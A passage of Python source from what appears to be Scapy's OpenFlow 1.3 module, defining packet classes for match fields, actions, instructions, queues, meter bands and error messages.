__slots__ = ["autocomplete", "index"] def __init__(self, name, default, cls, length_from=None, autocomplete=False): # noqa: E501 PacketListField.__init__(self, name, default, cls, length_from=length_from) # noqa: E501 self.autocomplete = autocomplete self.index = [] def i2m(self, pkt, val): # this part makes for a faster writing of specs-compliant matches # expect some unwanted behaviour if you try incoherent associations # you might want to set autocomplete=False in __init__ method if self.autocomplete or conf.contribs['OPENFLOW']['prereq_autocomplete']: # noqa: E501 # val might be modified during the loop so we need a fixed copy fix_val = copy.deepcopy(val) for oxm in fix_val: f = 2 * oxm.field fix_index = list(self.index) while f in need_prereq: # this loop enables a small recursion # e.g. ipv6_nd<--icmpv6<--ip_proto<--eth_type prereq = need_prereq[f] f = prereq[0] f2 = 20 if f == 21 else f # ipv6 trick... if f2 not in fix_index: self.index.insert(0, f2) prrq = ofp_oxm_cls[f2]() # never HM setattr(prrq, ofp_oxm_constr[f2 // 2][1], prereq[1]) val.insert(0, prrq) # we could do more complicated stuff to # make sure prerequisite order is correct # but it works well when presented with any coherent input # e.g. you should not mix OFBTCPSrc with OFBICMPv6Code # and expect to get coherent results... # you can still go manual by setting prereq_autocomplete=False # noqa: E501 return val def m2i(self, pkt, s): t = orb(s[2]) nrm_t = t - t % 2 if nrm_t not in self.index: self.index.append(nrm_t) return ofp_oxm_cls.get(t, Raw)(s) @staticmethod def _get_oxm_length(s): return orb(s[3]) def addfield(self, pkt, s, val): return s + b"".join(raw(x) for x in self.i2m(pkt, val)) def getfield(self, pkt, s): lst = [] lim = self.length_from(pkt) ret = s[lim:] remain = s[:lim] while remain and len(remain) > 4: tmp_len = OXMPacketListField._get_oxm_length(remain) + 4 # this could also be done by parsing oxm_fields (fixed lengths) if tmp_len <= 4 or len(remain) < tmp_len: # no incoherent length break current = remain[:tmp_len] remain = remain[tmp_len:] p = self.m2i(pkt, current) lst.append(p) self.index = [] # since OXMPacketListField is called only twice (when OFPMatch and OFPSetField # noqa: E501 # classes are created) and not when you want to instantiate an OFPMatch, # noqa: E501 # index needs to be reinitialized, otherwise there will be some conflicts # noqa: E501 # e.g. if you create OFPMatch with OFBTCPSrc and then change to OFBTCPDst, # noqa: E501 # index will already be filled with ethertype and nwproto codes, # thus the corresponding fields will not be added to the packet return remain + ret, lst class OXMID(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = orb(_pkt[2]) return ofp_oxm_id_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPMatch(Packet): name = "OFP_MATCH" fields_desc = [ShortEnumField("type", 1, {0: "OFPMT_STANDARD", 1: "OFPMT_OXM"}), ShortField("len", None), OXMPacketListField("oxm_fields", [], Packet, length_from=lambda pkt:pkt.len - 4)] def post_build(self, p, pay): tmp_len = self.len if tmp_len is None: tmp_len = len(p) + len(pay) p = p[:2] + struct.pack("!H", tmp_len) + p[4:] zero_bytes = (8 - tmp_len % 8) % 8 p += b"\x00" * zero_bytes # message with user-defined length will not be automatically padded return p + pay def extract_padding(self, s): tmp_len = self.len zero_bytes = (8 - tmp_len % 8) % 8 return s[zero_bytes:], s[:zero_bytes] # ofp_match is no longer a fixed-length structure in v1.3 # furthermore it may include variable padding # we introduce to that end a subclass of PacketField class MatchField(PacketField): def __init__(self, name): PacketField.__init__(self, name, OFPMatch(), OFPMatch) def getfield(self, pkt, s): i = self.m2i(pkt, s) # i can be or > # or > or >> # and we want to return "", or "", > # or raw(), or raw(), > if Raw in i: r = i[Raw] if Padding in r: p = r[Padding] i.payload = p del r.payload return r.load, i else: return b"", i # Actions # class OpenFlow3(OpenFlow): name = "OpenFlow v1.3 dissector" @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: # port 6653 has been allocated by IANA, port 6633 should no # longer be used # OpenFlow3 function may be called with None self in OFPPacketField of_type = orb(_pkt[1]) if of_type == 1: err_type = orb(_pkt[9]) # err_type is a short int, but last byte is enough if err_type == 255: err_type = 65535 return ofp_error_cls[err_type] elif of_type == 18: mp_type = orb(_pkt[9]) if mp_type == 255: mp_type = 65535 return ofp_multipart_request_cls[mp_type] elif of_type == 19: mp_type = orb(_pkt[9]) if mp_type == 255: mp_type = 65535 return ofp_multipart_reply_cls[mp_type] else: return ofpt_cls[of_type] return _UnknownOpenFlow ofp_action_types = {0: "OFPAT_OUTPUT", 1: "OFPAT_SET_VLAN_VID", 2: "OFPAT_SET_VLAN_PCP", 3: "OFPAT_STRIP_VLAN", 4: "OFPAT_SET_DL_SRC", 5: "OFPAT_SET_DL_DST", 6: "OFPAT_SET_NW_SRC", 7: "OFPAT_SET_NW_DST", 8: "OFPAT_SET_NW_TOS", 9: "OFPAT_SET_TP_SRC", 10: "OFPAT_SET_TP_DST", # 11: "OFPAT_ENQUEUE", 11: "OFPAT_COPY_TTL_OUT", 12: "OFPAT_COPY_TTL_IN", 13: "OFPAT_SET_MPLS_LABEL", 14: "OFPAT_DEC_MPLS_TC", 15: "OFPAT_SET_MPLS_TTL", 16: "OFPAT_DEC_MPLS_TTL", 17: "OFPAT_PUSH_VLAN", 18: "OFPAT_POP_VLAN", 19: "OFPAT_PUSH_MPLS", 20: "OFPAT_POP_MPLS", 21: "OFPAT_SET_QUEUE", 22: "OFPAT_GROUP", 23: "OFPAT_SET_NW_TTL", 24: "OFPAT_DEC_NW_TTL", 25: "OFPAT_SET_FIELD", 26: "OFPAT_PUSH_PBB", 27: "OFPAT_POP_PBB", 65535: "OFPAT_EXPERIMENTER"} class OFPAT(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_action_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPATOutput(OFPAT): name = "OFPAT_OUTPUT" fields_desc = [ShortEnumField("type", 0, ofp_action_types), ShortField("len", 16), IntEnumField("port", 0, ofp_port_no), ShortEnumField("max_len", "NO_BUFFER", ofp_max_len), XBitField("pad", 0, 48)] # the following actions are not supported by OFv1.3 class OFPATSetVLANVID(OFPAT): name = "OFPAT_SET_VLAN_VID" fields_desc = [ShortEnumField("type", 1, ofp_action_types), ShortField("len", 8), ShortField("vlan_vid", 0), XShortField("pad", 0)] class OFPATSetVLANPCP(OFPAT): name = "OFPAT_SET_VLAN_PCP" fields_desc = [ShortEnumField("type", 2, ofp_action_types), ShortField("len", 8), ByteField("vlan_pcp", 0), X3BytesField("pad", 0)] class OFPATStripVLAN(OFPAT): name = "OFPAT_STRIP_VLAN" fields_desc = [ShortEnumField("type", 3, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATSetDlSrc(OFPAT): name = "OFPAT_SET_DL_SRC" fields_desc = [ShortEnumField("type", 4, ofp_action_types), ShortField("len", 16), MACField("dl_addr", "0"), XBitField("pad", 0, 48)] class OFPATSetDlDst(OFPAT): name = "OFPAT_SET_DL_DST" fields_desc = [ShortEnumField("type", 5, ofp_action_types), ShortField("len", 16), MACField("dl_addr", "0"), XBitField("pad", 0, 48)] class OFPATSetNwSrc(OFPAT): name = "OFPAT_SET_NW_SRC" fields_desc = [ShortEnumField("type", 6, ofp_action_types), ShortField("len", 8), IPField("nw_addr", "0")] class OFPATSetNwDst(OFPAT): name = "OFPAT_SET_NW_DST" fields_desc = [ShortEnumField("type", 7, ofp_action_types), ShortField("len", 8), IPField("nw_addr", "0")] class OFPATSetNwToS(OFPAT): name = "OFPAT_SET_TP_TOS" fields_desc = [ShortEnumField("type", 8, ofp_action_types), ShortField("len", 8), ByteField("nw_tos", 0), X3BytesField("pad", 0)] class OFPATSetTpSrc(OFPAT): name = "OFPAT_SET_TP_SRC" fields_desc = [ShortEnumField("type", 9, ofp_action_types), ShortField("len", 8), ShortField("tp_port", 0), XShortField("pad", 0)] class OFPATSetTpDst(OFPAT): name = "OFPAT_SET_TP_DST" fields_desc = [ShortEnumField("type", 10, ofp_action_types), ShortField("len", 8), ShortField("tp_port", 0), XShortField("pad", 0)] # class OFPATEnqueue(OFPAT): # name = "OFPAT_ENQUEUE" # fields_desc = [ ShortEnumField("type", 11, ofp_action_types), # ShortField("len", 16), # ShortField("port", 0), # XBitField("pad", 0, 48), # IntEnumField("queue_id", 0, ofp_queue) ] class OFPATSetMPLSLabel(OFPAT): name = "OFPAT_SET_MPLS_LABEL" fields_desc = [ShortEnumField("type", 13, ofp_action_types), ShortField("len", 8), IntField("mpls_label", 0)] class OFPATSetMPLSTC(OFPAT): name = "OFPAT_SET_MPLS_TC" fields_desc = [ShortEnumField("type", 14, ofp_action_types), ShortField("len", 8), ByteField("mpls_tc", 0), X3BytesField("pad", 0)] # end of unsupported actions class OFPATCopyTTLOut(OFPAT): name = "OFPAT_COPY_TTL_OUT" fields_desc = [ShortEnumField("type", 11, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATCopyTTLIn(OFPAT): name = "OFPAT_COPY_TTL_IN" fields_desc = [ShortEnumField("type", 12, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATSetMPLSTTL(OFPAT): name = "OFPAT_SET_MPLS_TTL" fields_desc = [ShortEnumField("type", 15, ofp_action_types), ShortField("len", 8), ByteField("mpls_ttl", 0), X3BytesField("pad", 0)] class OFPATDecMPLSTTL(OFPAT): name = "OFPAT_DEC_MPLS_TTL" fields_desc = [ShortEnumField("type", 16, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATPushVLAN(OFPAT): name = "OFPAT_PUSH_VLAN" fields_desc = [ShortEnumField("type", 17, ofp_action_types), ShortField("len", 8), ShortField("ethertype", 0x8100), # or 0x88a8 XShortField("pad", 0)] class OFPATPopVLAN(OFPAT): name = "OFPAT_POP_VLAN" fields_desc = [ShortEnumField("type", 18, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATPushMPLS(OFPAT): name = "OFPAT_PUSH_MPLS" fields_desc = [ShortEnumField("type", 19, ofp_action_types), ShortField("len", 8), ShortField("ethertype", 0x8847), # or 0x8848 XShortField("pad", 0)] class OFPATPopMPLS(OFPAT): name = "OFPAT_POP_MPLS" fields_desc = [ShortEnumField("type", 20, ofp_action_types), ShortField("len", 8), ShortField("ethertype", 0x8847), # or 0x8848 XShortField("pad", 0)] class OFPATSetQueue(OFPAT): name = "OFPAT_SET_QUEUE" fields_desc = [ShortEnumField("type", 21, ofp_action_types), ShortField("len", 8), IntEnumField("queue_id", 0, ofp_queue)] class OFPATGroup(OFPAT): name = "OFPAT_GROUP" fields_desc = [ShortEnumField("type", 22, ofp_action_types), ShortField("len", 8), IntEnumField("group_id", 0, ofp_group)] class OFPATSetNwTTL(OFPAT): name = "OFPAT_SET_NW_TTL" fields_desc = [ShortEnumField("type", 23, ofp_action_types), ShortField("len", 8), ByteField("nw_ttl", 0), X3BytesField("pad", 0)] class OFPATDecNwTTL(OFPAT): name = "OFPAT_DEC_NW_TTL" fields_desc = [ShortEnumField("type", 24, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATSetField(OFPAT): name = "OFPAT_SET_FIELD" fields_desc = [ShortEnumField("type", 25, ofp_action_types), ShortField("len", None), # there should not be more than one oxm tlv OXMPacketListField("field", [], Packet, length_from=lambda pkt:pkt.len - 4, # /!\ contains padding! autocomplete=False)] def post_build(self, p, pay): tmp_len = self.len zero_bytes = 0 if tmp_len is None: tmp_len = len(p) + len(pay) zero_bytes = (8 - tmp_len % 8) % 8 tmp_len = tmp_len + zero_bytes # add padding length p = p[:2] + struct.pack("!H", tmp_len) + p[4:] p += b"\x00" * zero_bytes # message with user-defined length will not be automatically padded return p + pay def extract_padding(self, s): return b"", s class OFPATPushPBB(OFPAT): name = "OFPAT_PUSH_PBB" fields_desc = [ShortEnumField("type", 26, ofp_action_types), ShortField("len", 8), ShortField("ethertype", 0x88e7), XShortField("pad", 0)] class OFPATPopPBB(OFPAT): name = "OFPAT_POP_PBB" fields_desc = [ShortEnumField("type", 27, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATExperimenter(OFPAT): name = "OFPAT_EXPERIMENTER" fields_desc = [ShortEnumField("type", 65535, ofp_action_types), ShortField("len", 8), IntField("experimenter", 0)] ofp_action_cls = {0: OFPATOutput, 1: OFPATSetVLANVID, 2: OFPATSetVLANPCP, 3: OFPATStripVLAN, 4: OFPATSetDlSrc, 5: OFPATSetDlDst, 6: OFPATSetNwSrc, 7: OFPATSetNwDst, 8: OFPATSetNwToS, 9: OFPATSetTpSrc, 10: OFPATSetTpDst, # 11: OFPATEnqueue, 11: OFPATCopyTTLOut, 12: OFPATCopyTTLIn, 13: OFPATSetMPLSLabel, 14: OFPATSetMPLSTC, 15: OFPATSetMPLSTTL, 16: OFPATDecMPLSTTL, 17: OFPATPushVLAN, 18: OFPATPopVLAN, 19: OFPATPushMPLS, 20: OFPATPopMPLS, 21: OFPATSetQueue, 22: OFPATGroup, 23: OFPATSetNwTTL, 24: OFPATDecNwTTL, 25: OFPATSetField, 26: OFPATPushPBB, 27: OFPATPopPBB, 65535: OFPATExperimenter} # Action IDs # class OFPATID(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_action_id_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s # length is computed as in instruction structures, # so we reuse _ofp_header class OFPATOutputID(OFPATID): name = "OFPAT_OUTPUT" fields_desc = [ShortEnumField("type", 0, ofp_action_types), ShortField("len", 4)] # the following actions are not supported by OFv1.3 class OFPATSetVLANVIDID(OFPATID): name = "OFPAT_SET_VLAN_VID" fields_desc = [ShortEnumField("type", 1, ofp_action_types), ShortField("len", 4)] class OFPATSetVLANPCPID(OFPATID): name = "OFPAT_SET_VLAN_PCP" fields_desc = [ShortEnumField("type", 2, ofp_action_types), ShortField("len", 4)] class OFPATStripVLANID(OFPATID): name = "OFPAT_STRIP_VLAN" fields_desc = [ShortEnumField("type", 3, ofp_action_types), ShortField("len", 4)] class OFPATSetDlSrcID(OFPATID): name = "OFPAT_SET_DL_SRC" fields_desc = [ShortEnumField("type", 4, ofp_action_types), ShortField("len", 4)] class OFPATSetDlDstID(OFPATID): name = "OFPAT_SET_DL_DST" fields_desc = [ShortEnumField("type", 5, ofp_action_types), ShortField("len", 4)] class OFPATSetNwSrcID(OFPATID): name = "OFPAT_SET_NW_SRC" fields_desc = [ShortEnumField("type", 6, ofp_action_types), ShortField("len", 4)] class OFPATSetNwDstID(OFPATID): name = "OFPAT_SET_NW_DST" fields_desc = [ShortEnumField("type", 7, ofp_action_types), ShortField("len", 4)] class OFPATSetNwToSID(OFPATID): name = "OFPAT_SET_TP_TOS" fields_desc = [ShortEnumField("type", 8, ofp_action_types), ShortField("len", 4)] class OFPATSetTpSrcID(OFPATID): name = "OFPAT_SET_TP_SRC" fields_desc = [ShortEnumField("type", 9, ofp_action_types), ShortField("len", 4)] class OFPATSetTpDstID(OFPATID): name = "OFPAT_SET_TP_DST" fields_desc = [ShortEnumField("type", 10, ofp_action_types), ShortField("len", 4)] # class OFPATEnqueueID(OFPAT): # name = "OFPAT_ENQUEUE" # fields_desc = [ ShortEnumField("type", 11, ofp_action_types), # ShortField("len", 4) ] class OFPATSetMPLSLabelID(OFPATID): name = "OFPAT_SET_MPLS_LABEL" fields_desc = [ShortEnumField("type", 13, ofp_action_types), ShortField("len", 4)] class OFPATSetMPLSTCID(OFPATID): name = "OFPAT_SET_MPLS_TC" fields_desc = [ShortEnumField("type", 14, ofp_action_types), ShortField("len", 4)] # end of unsupported actions class OFPATCopyTTLOutID(OFPATID): name = "OFPAT_COPY_TTL_OUT" fields_desc = [ShortEnumField("type", 11, ofp_action_types), ShortField("len", 4)] class OFPATCopyTTLInID(OFPATID): name = "OFPAT_COPY_TTL_IN" fields_desc = [ShortEnumField("type", 12, ofp_action_types), ShortField("len", 4)] class OFPATSetMPLSTTLID(OFPATID): name = "OFPAT_SET_MPLS_TTL" fields_desc = [ShortEnumField("type", 15, ofp_action_types), ShortField("len", 4)] class OFPATDecMPLSTTLID(OFPATID): name = "OFPAT_DEC_MPLS_TTL" fields_desc = [ShortEnumField("type", 16, ofp_action_types), ShortField("len", 4)] class OFPATPushVLANID(OFPATID): name = "OFPAT_PUSH_VLAN" fields_desc = [ShortEnumField("type", 17, ofp_action_types), ShortField("len", 4)] class OFPATPopVLANID(OFPATID): name = "OFPAT_POP_VLAN" fields_desc = [ShortEnumField("type", 18, ofp_action_types), ShortField("len", 4)] class OFPATPushMPLSID(OFPATID): name = "OFPAT_PUSH_MPLS" fields_desc = [ShortEnumField("type", 19, ofp_action_types), ShortField("len", 4)] class OFPATPopMPLSID(OFPATID): name = "OFPAT_POP_MPLS" fields_desc = [ShortEnumField("type", 20, ofp_action_types), ShortField("len", 4)] class OFPATSetQueueID(OFPATID): name = "OFPAT_SET_QUEUE" fields_desc = [ShortEnumField("type", 21, ofp_action_types), ShortField("len", 4)] class OFPATGroupID(OFPATID): name = "OFPAT_GROUP" fields_desc = [ShortEnumField("type", 22, ofp_action_types), ShortField("len", 4)] class OFPATSetNwTTLID(OFPATID): name = "OFPAT_SET_NW_TTL" fields_desc = [ShortEnumField("type", 23, ofp_action_types), ShortField("len", 4)] class OFPATDecNwTTLID(OFPATID): name = "OFPAT_DEC_NW_TTL" fields_desc = [ShortEnumField("type", 24, ofp_action_types), ShortField("len", 4)] class OFPATSetFieldID(OFPATID): name = "OFPAT_SET_FIELD" fields_desc = [ShortEnumField("type", 25, ofp_action_types), ShortField("len", 4)] class OFPATPushPBBID(OFPATID): name = "OFPAT_PUSH_PBB" fields_desc = [ShortEnumField("type", 26, ofp_action_types), ShortField("len", 4)] class OFPATPopPBBID(OFPATID): name = "OFPAT_POP_PBB" fields_desc = [ShortEnumField("type", 27, ofp_action_types), ShortField("len", 4)] class OFPATExperimenterID(OFPATID): name = "OFPAT_EXPERIMENTER" fields_desc = [ShortEnumField("type", 65535, ofp_action_types), ShortField("len", None)] ofp_action_id_cls = {0: OFPATOutputID, 1: OFPATSetVLANVIDID, 2: OFPATSetVLANPCPID, 3: OFPATStripVLANID, 4: OFPATSetDlSrcID, 5: OFPATSetDlDstID, 6: OFPATSetNwSrcID, 7: OFPATSetNwDstID, 8: OFPATSetNwToSID, 9: OFPATSetTpSrcID, 10: OFPATSetTpDstID, # 11: OFPATEnqueueID, 11: OFPATCopyTTLOutID, 12: OFPATCopyTTLInID, 13: OFPATSetMPLSLabelID, 14: OFPATSetMPLSTCID, 15: OFPATSetMPLSTTLID, 16: OFPATDecMPLSTTLID, 17: OFPATPushVLANID, 18: OFPATPopVLANID, 19: OFPATPushMPLSID, 20: OFPATPopMPLSID, 21: OFPATSetQueueID, 22: OFPATGroupID, 23: OFPATSetNwTTLID, 24: OFPATDecNwTTLID, 25: OFPATSetFieldID, 26: OFPATPushPBBID, 27: OFPATPopPBBID, 65535: OFPATExperimenterID} # Instructions # ofp_instruction_types = {1: "OFPIT_GOTO_TABLE", 2: "OFPIT_WRITE_METADATA", 3: "OFPIT_WRITE_ACTIONS", 4: "OFPIT_APPLY_ACTIONS", 5: "OFPIT_CLEAR_ACTIONS", 6: "OFPIT_METER", 65535: "OFPIT_EXPERIMENTER"} class OFPIT(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_instruction_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPITGotoTable(OFPIT): name = "OFPIT_GOTO_TABLE" fields_desc = [ShortEnumField("type", 1, ofp_instruction_types), ShortField("len", 8), ByteEnumField("table_id", 0, ofp_table), X3BytesField("pad", 0)] class OFPITWriteMetadata(OFPIT): name = "OFPIT_WRITE_METADATA" fields_desc = [ShortEnumField("type", 2, ofp_instruction_types), ShortField("len", 24), XIntField("pad", 0), LongField("metadata", 0), LongField("metadata_mask", 0)] class OFPITWriteActions(OFPIT): name = "OFPIT_WRITE_ACTIONS" fields_desc = [ShortEnumField("type", 3, ofp_instruction_types), ShortField("len", None), XIntField("pad", 0), PacketListField("actions", [], OFPAT, length_from=lambda pkt:pkt.len - 8)] class OFPITApplyActions(OFPIT): name = "OFPIT_APPLY_ACTIONS" fields_desc = [ShortEnumField("type", 4, ofp_instruction_types), ShortField("len", None), XIntField("pad", 0), PacketListField("actions", [], OFPAT, length_from=lambda pkt:pkt.len - 8)] class OFPITClearActions(OFPIT): name = "OFPIT_CLEAR_ACTIONS" fields_desc = [ShortEnumField("type", 5, ofp_instruction_types), ShortField("len", 8), XIntField("pad", 0)] class OFPITMeter(OFPIT): name = "OFPIT_METER" fields_desc = [ShortEnumField("type", 6, ofp_instruction_types), ShortField("len", 8), IntEnumField("meter_id", 1, ofp_meter)] class OFPITExperimenter(OFPIT): name = "OFPIT_EXPERIMENTER" fields_desc = [ShortEnumField("type", 65535, ofp_instruction_types), ShortField("len", None), IntField("experimenter", 0)] ofp_instruction_cls = {1: OFPITGotoTable, 2: OFPITWriteMetadata, 3: OFPITWriteActions, 4: OFPITApplyActions, 5: OFPITClearActions, 6: OFPITMeter, 65535: OFPITExperimenter} # Instruction IDs # # length is computed as in instruction structures, # so we reuse _ofp_header class OFPITID(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_instruction_id_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPITGotoTableID(OFPITID): name = "OFPIT_GOTO_TABLE" fields_desc = [ShortEnumField("type", 1, ofp_instruction_types), ShortField("len", 4)] class OFPITWriteMetadataID(OFPITID): name = "OFPIT_WRITE_METADATA" fields_desc = [ShortEnumField("type", 2, ofp_instruction_types), ShortField("len", 4)] class OFPITWriteActionsID(OFPITID): name = "OFPIT_WRITE_ACTIONS" fields_desc = [ShortEnumField("type", 3, ofp_instruction_types), ShortField("len", 4)] class OFPITApplyActionsID(OFPITID): name = "OFPIT_APPLY_ACTIONS" fields_desc = [ShortEnumField("type", 4, ofp_instruction_types), ShortField("len", 4)] class OFPITClearActionsID(OFPITID): name = "OFPIT_CLEAR_ACTIONS" fields_desc = [ShortEnumField("type", 5, ofp_instruction_types), ShortField("len", 4)] class OFPITMeterID(OFPITID): name = "OFPIT_METER" fields_desc = [ShortEnumField("type", 6, ofp_instruction_types), ShortField("len", 4)] class OFPITExperimenterID(OFPITID): name = "OFPIT_EXPERIMENTER" fields_desc = [ShortEnumField("type", 65535, ofp_instruction_types), ShortField("len", None)] ofp_instruction_id_cls = {1: OFPITGotoTableID, 2: OFPITWriteMetadataID, 3: OFPITWriteActionsID, 4: OFPITApplyActionsID, 5: OFPITClearActionsID, 6: OFPITMeterID, 65535: OFPITExperimenterID} # Buckets # class OFPBucket(_ofp_header_item): name = "OFP_BUCKET" fields_desc = [ShortField("len", None), ShortField("weight", 0), IntEnumField("watch_port", 0, ofp_port_no), IntEnumField("watch_group", 0, ofp_group), XIntField("pad", 0), PacketListField("actions", [], OFPAT, length_from=lambda pkt:pkt.len - 16)] def extract_padding(self, s): return b"", s # Queues # ofp_queue_property_types = {0: "OFPQT_NONE", 1: "OFPQT_MIN_RATE"} class OFPQT(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_queue_property_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPQTNone(OFPQT): name = "OFPQT_NONE" fields_desc = [ShortEnumField("type", 0, ofp_queue_property_types), ShortField("len", 8), XIntField("pad", 0)] class OFPQTMinRate(OFPQT): name = "OFPQT_MIN_RATE" fields_desc = [ShortEnumField("type", 1, ofp_queue_property_types), ShortField("len", 16), XIntField("pad1", 0), ShortField("rate", 0), XBitField("pad2", 0, 48)] ofp_queue_property_cls = {0: OFPQTNone, 1: OFPQTMinRate} class OFPPacketQueue(Packet): name = "OFP_PACKET_QUEUE" fields_desc = [IntEnumField("queue_id", 0, ofp_queue), ShortField("len", None), XShortField("pad", 0), PacketListField("properties", [], OFPQT, length_from=lambda pkt:pkt.len - 8)] # noqa: E501 def extract_padding(self, s): return b"", s def post_build(self, p, pay): if self.properties == []: p += raw(OFPQTNone()) if self.len is None: tmp_len = len(p) + len(pay) p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p + pay # Meter bands # ofp_meter_band_types = {0: "OFPMBT_DROP", 1: "OFPMBT_DSCP_REMARK", 65535: "OFPMBT_EXPERIMENTER"} class OFPMBT(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_meter_band_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPMBTDrop(OFPMBT): name = "OFPMBT_DROP" fields_desc = [ShortEnumField("type", 0, ofp_queue_property_types), ShortField("len", 16), IntField("rate", 0), IntField("burst_size", 0), XIntField("pad", 0)] class OFPMBTDSCPRemark(OFPMBT): name = "OFPMBT_DSCP_REMARK" fields_desc = [ShortEnumField("type", 1, ofp_queue_property_types), ShortField("len", 16), IntField("rate", 0), IntField("burst_size", 0), ByteField("prec_level", 0), X3BytesField("pad", 0)] class OFPMBTExperimenter(OFPMBT): name = "OFPMBT_EXPERIMENTER" fields_desc = [ShortEnumField("type", 65535, ofp_queue_property_types), ShortField("len", 16), IntField("rate", 0), IntField("burst_size", 0), IntField("experimenter", 0)] ofp_meter_band_cls = {0: OFPMBTDrop, 1: OFPMBTDSCPRemark, 2: OFPMBTExperimenter} ##################################################### # OpenFlow 1.3 Messages # ##################################################### ofp_version = {0x01: "OpenFlow 1.0", 0x02: "OpenFlow 1.1", 0x03: "OpenFlow 1.2", 0x04: "OpenFlow 1.3", 0x05: "OpenFlow 1.4"} ofp_type = {0: "OFPT_HELLO", 1: "OFPT_ERROR", 2: "OFPT_ECHO_REQUEST", 3: "OFPT_ECHO_REPLY", 4: "OFPT_EXPERIMENTER", 5: "OFPT_FEATURES_REQUEST", 6: "OFPT_FEATURES_REPLY", 7: "OFPT_GET_CONFIG_REQUEST", 8: "OFPT_GET_CONFIG_REPLY", 9: "OFPT_SET_CONFIG", 10: "OFPT_PACKET_IN", 11: "OFPT_FLOW_REMOVED", 12: "OFPT_PORT_STATUS", 13: "OFPT_PACKET_OUT", 14: "OFPT_FLOW_MOD", 15: "OFPT_GROUP_MOD", 16: "OFPT_PORT_MOD", 17: "OFPT_TABLE_MOD", 18: "OFPT_MULTIPART_REQUEST", 19: "OFPT_MULTIPART_REPLY", 20: "OFPT_BARRIER_REQUEST", 21: "OFPT_BARRIER_REPLY", 22: "OFPT_QUEUE_GET_CONFIG_REQUEST", 23: "OFPT_QUEUE_GET_CONFIG_REPLY", 24: "OFPT_ROLE_REQUEST", 25: "OFPT_ROLE_REPLY", 26: "OFPT_GET_ASYNC_REQUEST", 27: "OFPT_GET_ASYNC_REPLY", 28: "OFPT_SET_ASYNC", 29: "OFPT_METER_MOD"} class OFPTHello(_ofp_header): name = "OFPT_HELLO" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 0, ofp_type), ShortField("len", None), IntField("xid", 0), PacketListField("elements", [], OFPHET, length_from=lambda pkt: pkt.len - 8)] ##################################################### # OFPT_ERROR # ##################################################### ofp_error_type = {0: "OFPET_HELLO_FAILED", 1: "OFPET_BAD_REQUEST", 2: "OFPET_BAD_ACTION", 3: "OFPET_BAD_INSTRUCTION", 4: "OFPET_BAD_MATCH", 5: "OFPET_FLOW_MOD_FAILED", 6: "OFPET_GROUP_MOD_FAILED", 7: "OFPET_PORT_MOD_FAILED", 8: "OFPET_TABLE_MOD_FAILED", 9: "OFPET_QUEUE_OP_FAILED", 10: "OFPET_SWITCH_CONFIG_FAILED", 11: "OFPET_ROLE_REQUEST_FAILED", 12: "OFPET_METER_MOD_FAILED", 13: "OFPET_TABLE_FEATURES_FAILED", 65535: "OFPET_EXPERIMENTER"} class OFPETHelloFailed(_ofp_header): name = "OFPET_HELLO_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 0, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPHFC_INCOMPATIBLE", 1: "OFPHFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETBadRequest(_ofp_header): name = "OFPET_BAD_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 1, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPBRC_BAD_VERSION", 1: "OFPBRC_BAD_TYPE", 2: "OFPBRC_BAD_MULTIPART", 3: "OFPBRC_BAD_EXPERIMENTER", 4: "OFPBRC_BAD_EXP_TYPE", 5: "OFPBRC_EPERM", 6: "OFPBRC_BAD_LEN", 7: "OFPBRC_BUFFER_EMPTY", 8: "OFPBRC_BUFFER_UNKNOWN", 9: "OFPBRC_BAD_TABLE_ID", 10: "OFPBRC_IS_SLAVE", 11: "OFPBRC_BAD_PORT", 12: "OFPBRC_BAD_PACKET", 13: "OFPBRC_MULTIPART_BUFFER_OVERFLOW"}), # noqa: E501 OFPacketField("data", "", Raw)] class OFPETBadAction(_ofp_header): name = "OFPET_BAD_ACTION" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 2, ofp_error_type), ShortEnumField("errcode", 0, {0: 